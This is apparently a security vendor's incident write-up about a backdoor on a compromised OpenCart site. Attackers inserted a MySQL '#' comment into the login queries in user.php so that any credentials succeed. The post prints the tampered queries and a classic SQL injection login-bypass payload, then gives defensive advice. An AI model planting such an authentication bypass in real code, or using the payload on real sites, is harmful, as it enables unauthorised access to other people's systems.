From the attacker’s perspective, creating ways to maintain access to a compromised website is desirable. We call them backdoors.
Backdoors can be done in different ways, either by adding fake admin users to the site, or adding pieces of malicious code to give remote execution for the attackers. This allows them to regain access easily, if needed. In this post we will explain the technical details of a backdoor that was added to a compromised OpenCart site to allow the attackers to login back to the site without the proper admin credentials.
Login Backdoor Access
OpenCart makes use of the system/library/user.php file to handle the login process. As with other CMS authentication mechanisms, if a user does not exist, credentials are incorrect, or the user doesn’t have permission to access the backend, an error message will clearly state that the attempt has failed.
In this case though, attackers modified the file in a way that allows any credentials to be considered valid.
When we attempted to login with a fake user, for example:
Regardless of any set of credentials we used, the result was the same – a successful login:
While taking a quick look at the database, we verified that none of those users exist. How could that be?
Auditing the User Logs
An interesting point about the login activity is that the same user was being displayed in the list, regardless of the username we entered.
Completely changing the details had no effect on the login process. The login would still work exactly the same way, with any changes to the user being reflected. For investigation purposes, it was very interesting to confirm that the successful logins were based on the first user in the list and not in a specific username-password combination.
Now we can simply just turn our attention back to the file responsible for the logins – system/library/user.php – to ensure that there was no tampering there.
Commenting Out the Authentication Mechanism
Upon checking the file, we found something that immediately jumped out as incredibly strange on two of the SQL queries:
$user_query = $this->db->query("SELECT * FROM " . DB_PREFIX . "user #WHERE user_id = '" . (int)$this->session->data['user_id'] . "' AND status = '1'");
And a few lines later we have:
$user_query = $this->db->query("SELECT * FROM " . DB_PREFIX . "user #WHERE username = '" . $this->db->escape($username) . "' AND (password = SHA1(CONCAT(salt, SHA1(CONCAT(salt, SHA1('" . $this->db->escape($password) . "'))))) OR password = '" . $this->db->escape(md5($password)) . "') AND status = '1'");
At a very quick glance it may be hard to spot anything bad there, but with MySQL syntax highlighted, it becomes more apparent.
The # symbol is a popular comment delimiter in MySQL syntax. Attackers used it to invalidate most of the authentication mechanisms in place within OpenCart by directly editing this core file.
With this one very small character, all the authentication checks (username/password) would be bypassed because they have been effectively commented out. As a result, the following query remains and is successfully executed. It will return all users in the cms_user table and SELECT the first record found to login:
SELECT * FROM cms_user
Usage of such comment delimiting methods is very common on SQLi attacks where the attackers attempt to bypass the rest of the validation query by placing a # on the login forms. This turns the rest of the query into a comment and hence it is ignored by the server.
A good example of this type of attack involving adding comments on a plain login form is:
Username: fakeuser’ OR 1#
Password: pass
A plain translation of this into a MySQL query would be:
SELECT * FROM users WHERE username = 'fakeuser' OR 1#' AND password = 'pass'
Since the # was passed without sanitization, the actual query being sent to the server is:
SELECT * FROM users WHERE username = 'fakeuser' OR 1
This is treated as a valid query and simply returns all the users in the table and allows the attacker to login.
Sanitization, Validation, and Integrity
It’s very important to take into consideration the data being sent to your server, especially if it involves authentication mechanisms and forms. Input validation is one of the most fundamental steps a developer can take to prevent unexpected behavior in an application. If the data received isn’t valid, or doesn’t match expected criteria, the application should not allow it to pass.
In addition to input validation, you should always perform regular integrity checks on core CMS files to ensure everything remains safe. If you modify core files, you need to make sure that those changes won’t damage the existing security controls.
As a good security practice, we always recommend having a solid website firewall solution to protect the site. It is also important to consider additional access control mechanisms such as 2FA or IP filtering.